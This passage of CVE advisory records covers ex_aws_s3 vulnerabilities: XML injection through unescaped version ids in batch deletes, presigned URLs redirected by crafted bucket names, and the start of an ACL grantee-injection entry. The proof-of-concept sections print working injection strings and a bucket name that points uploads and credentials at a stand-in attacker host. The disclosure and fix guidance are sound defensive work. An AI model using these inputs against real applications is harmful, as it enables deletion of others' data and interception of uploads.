"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to `ExAws.S3.delete_multiple_objects/3` to add objects to the batch delete.\n\n`delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` request body by placing each object\u0027s `version` between `\u003cVersionId\u003e` tags without XML escaping. A version such as `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2` closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete.\n\ndelete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e request body by placing each object\u0027s version between \u003cVersionId\u003e tags without XML escaping. A version such as v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2 closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who controls a version id passed to \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who controls a version id passed to `delete_multiple_objects/3` can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
}
],
"value": "An attacker who controls a version id passed to delete_multiple_objects/3 can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:43.953Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Unescaped VersionId in delete_multiple_objects: XML injection",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-mwxg-gfj8-x32v"
},
{
"name": "EEF CNA record for CVE-2026-131902",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-131902.html"
},
{
"name": "OSV record EEF-CVE-2026-131902",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-131902"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets a user delete a version of their own object and calls \u003ccode\u003eExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])\u003c/code\u003e with the user\u0027s \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003eversion\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends the key \u003ccode\u003emy-own-file\u003c/code\u003e and the version \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e interpolates the version unescaped into the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body.\u003c/li\u003e\n\u003cli\u003eThe body contains three \u003ccode\u003e\u0026lt;Object\u0026gt;\u003c/code\u003e entries, one of them \u003ccode\u003eimportant-file\u003c/code\u003e, which S3 deletes although the user never named it.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets a user delete a version of their own object and calls `ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])` with the user\u0027s `key` and `version`.\n2. The attacker sends the key `my-own-file` and the version `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2`.\n3. `delete_multiple_objects/3` interpolates the version unescaped into the `\u003cDelete\u003e` body.\n4. The body contains three `\u003cObject\u003e` entries, one of them `important-file`, which S3 deletes although the user never named it."
}
],
"value": "* An application lets a user delete a version of their own object and calls ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}]) with the user\u0027s key and version.\n* The attacker sends the key my-own-file and the version v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2.\n* delete_multiple_objects/3 interpolates the version unescaped into the \u003cDelete\u003e body.\n* The body contains three \u003cObject\u003e entries, one of them important-file, which S3 deletes although the user never named it."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Selective escaping.\u003c/strong\u003e When \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body, it escapes each object\u0027s key with \u003ccode\u003eescape_xml_string/1\u003c/code\u003e but emits the version from the same tuple raw: \u003ccode\u003e\"\u0026lt;VersionId\u0026gt;\", version, \"\u0026lt;/VersionId\u0026gt;\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in \u003ccode\u003eversion\u003c/code\u003e are read as markup. A value beginning \u003ccode\u003e\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u003c/code\u003e closes the current object early, and the rest of the string can open further \u003ccode\u003e\u0026lt;Object\u0026gt;...\u0026lt;/Object\u0026gt;\u003c/code\u003e elements while keeping the document well-formed.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Extra deletes.\u003c/strong\u003e The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Selective escaping.** When `delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` body, it escapes each object\u0027s key with `escape_xml_string/1` but emits the version from the same tuple raw: `\"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\"`.\n\n**2. Element break-out.** XML metacharacters in `version` are read as markup. A value beginning `\u003c/VersionId\u003e\u003c/Object\u003e` closes the current object early, and the rest of the string can open further `\u003cObject\u003e...\u003c/Object\u003e` elements while keeping the document well-formed.\n\n**3. Extra deletes.** The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
}
],
"value": "1. Selective escaping. When delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e body, it escapes each object\u0027s key with escape_xml_string/1 but emits the version from the same tuple raw: \"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\".\n\n2. Element break-out. XML metacharacters in version are read as markup. A value beginning \u003c/VersionId\u003e\u003c/Object\u003e closes the current object early, and the rest of the string can open further \u003cObject\u003e...\u003c/Object\u003e elements while keeping the document well-formed.\n\n3. Extra deletes. The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-131902",
"datePublished": "2026-11-24T14:13:43.953Z",
"dateReserved": "2026-11-24T13:01:43.723Z",
"dateUpdated": "2026-11-24T14:13:43.953Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63582 (GCVE-0-2026-63582)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
S3 bucket name controls the host of presigned URLs in ex_aws_s3
Summary
Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.
With virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker's host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-610 - Externally Controlled Reference to a Resource in Another Sphere
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63582.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63582 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/ea26e8… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "ea26e8b43785f3ff1f14d6b22d8069fc06a58e55",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when presigned URLs or POST forms are generated with \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when presigned URLs or POST forms are generated with `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
}
],
"value": "Reachable only when presigned URLs or POST forms are generated with virtual_host: true, s3_accelerate: true or bucket_as_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T14:02:01.000Z",
"datePublic": "2026-11-24T14:13:15.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eExternally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, \u003ccode\u003eExAws.S3.presigned_url/5\u003c/code\u003e and \u003ccode\u003eExAws.S3.presigned_post/4\u003c/code\u003e build the URL from the bucket name without checking it. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com...\u003c/code\u003e, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e any valid hostname works as the bucket name.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true`, `ExAws.S3.presigned_url/5` and `ExAws.S3.presigned_post/4` build the URL from the bucket name without checking it. A bucket such as `attacker.example/x?` turns the URL into `https://attacker.example/x?.s3.amazonaws.com...`, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With `bucket_as_host: true` any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-154",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-610",
"description": "CWE-610 Externally Controlled Reference to a Resource in Another Sphere",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:16.822Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the host of presigned URLs in ExAws.S3.presigned_url/5 and presigned_post/4",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-p62r-cgcg-9fm7"
},
{
"name": "EEF CNA record for CVE-2026-63582",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63582.html"
},
{
"name": "OSV record EEF-CVE-2026-63582",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63582"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit ea26e8b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/ea26e8b43785f3ff1f14d6b22d8069fc06a58e55"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the host of a presigned URL. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the host after upgrading: applications that presign with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and bucket names they do not fully control must also pass the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e option, or set it in the S3 config, with the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With `bucket_as_host: true`, a syntactically valid hostname is still used as the host after upgrading: applications that presign with `bucket_as_host: true` and bucket names they do not fully control must also pass the `bucket_as_host_allowlist` option, or set it in the S3 config, with the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With bucket_as_host: true, a syntactically valid hostname is still used as the host after upgrading: applications that presign with bucket_as_host: true and bucket names they do not fully control must also pass the bucket_as_host_allowlist option, or set it in the S3 config, with the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the host of presigned URLs in ex_aws_s3",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application presigns uploads for per-tenant buckets with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA tenant sets its bucket name to \u003ccode\u003eattacker.example/x?\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)\u003c/code\u003e returns \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026amp;X-Amz-Credential=...\u003c/code\u003e, and \u003ccode\u003epresigned_post/4\u003c/code\u003e returns the form action \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eURI.parse/1\u003c/code\u003e on either yields the host \u003ccode\u003eattacker.example\u003c/code\u003e, so any client given the URL or form connects there.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application presigns uploads for per-tenant buckets with `virtual_host: true`.\n2. A tenant sets its bucket name to `attacker.example/x?`.\n3. `ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)` returns `https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=...`, and `presigned_post/4` returns the form action `https://attacker.example/x?.s3.amazonaws.com`.\n4. `URI.parse/1` on either yields the host `attacker.example`, so any client given the URL or form connects there."
}
],
"value": "* An application presigns uploads for per-tenant buckets with virtual_host: true.\n* A tenant sets its bucket name to attacker.example/x?.\n* ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true) returns https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=..., and presigned_post/4 returns the form action https://attacker.example/x?.s3.amazonaws.com.\n* URI.parse/1 on either yields the host attacker.example, so any client given the URL or form connects there."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL construction.\u003c/strong\u003e The private \u003ccode\u003eurl_to_sign/5\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the URL for \u003ccode\u003epresigned_url/5\u003c/code\u003e and \u003ccode\u003epresigned_post/4\u003c/code\u003e as \u003ccode\u003e\"#{scheme}#{bucket}.#{host}#{port}#{object}\"\u003c/code\u003e when \u003ccode\u003evirtual_host\u003c/code\u003e is set, or \u003ccode\u003e\"#{scheme}#{bucket}#{port}#{object}\"\u003c/code\u003e with \u003ccode\u003ebucket_as_host\u003c/code\u003e. \u003ccode\u003es3_accelerate: true\u003c/code\u003e sets \u003ccode\u003evirtual_host\u003c/code\u003e and takes the same branch. The bucket name is not checked.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Signing for the attacker\u0027s host.\u003c/strong\u003e The string goes to \u003ccode\u003eExAws.Auth.presigned_url/9\u003c/code\u003e, which signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e the signed host is \u003ccode\u003eattacker.example\u003c/code\u003e, and the \u003ccode\u003e?\u003c/code\u003e pushes the object key into the query string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Presigned URLs are built locally and never pass through \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and \u003ccode\u003eX-Amz-Credential\u003c/code\u003e discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL construction.** The private `url_to_sign/5` in `lib/ex_aws/s3.ex` builds the URL for `presigned_url/5` and `presigned_post/4` as `\"#{scheme}#{bucket}.#{host}#{port}#{object}\"` when `virtual_host` is set, or `\"#{scheme}#{bucket}#{port}#{object}\"` with `bucket_as_host`. `s3_accelerate: true` sets `virtual_host` and takes the same branch. The bucket name is not checked.\n\n**2. Signing for the attacker\u0027s host.** The string goes to `ExAws.Auth.presigned_url/9`, which signs `URI.parse(url).authority`. For the bucket `attacker.example/x?` the signed host is `attacker.example`, and the `?` pushes the object key into the query string.\n\n**3. Effect.** Presigned URLs are built locally and never pass through `ExAws.Operation.S3.add_bucket_to_path/2`, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and `X-Amz-Credential` discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
}
],
"value": "1. URL construction. The private url_to_sign/5 in lib/ex_aws/s3.ex builds the URL for presigned_url/5 and presigned_post/4 as \"#{scheme}#{bucket}.#{host}#{port}#{object}\" when virtual_host is set, or \"#{scheme}#{bucket}#{port}#{object}\" with bucket_as_host. s3_accelerate: true sets virtual_host and takes the same branch. The bucket name is not checked.\n\n2. Signing for the attacker\u0027s host. The string goes to ExAws.Auth.presigned_url/9, which signs URI.parse(url).authority. For the bucket attacker.example/x? the signed host is attacker.example, and the ? pushes the object key into the query string.\n\n3. Effect. Presigned URLs are built locally and never pass through ExAws.Operation.S3.add_bucket_to_path/2, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and X-Amz-Credential discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63582",
"datePublished": "2026-11-24T14:13:16.822Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:13:16.822Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63585 (GCVE-0-2026-63585)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1
Summary
ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a "share this object" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker's own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63585.html | related |
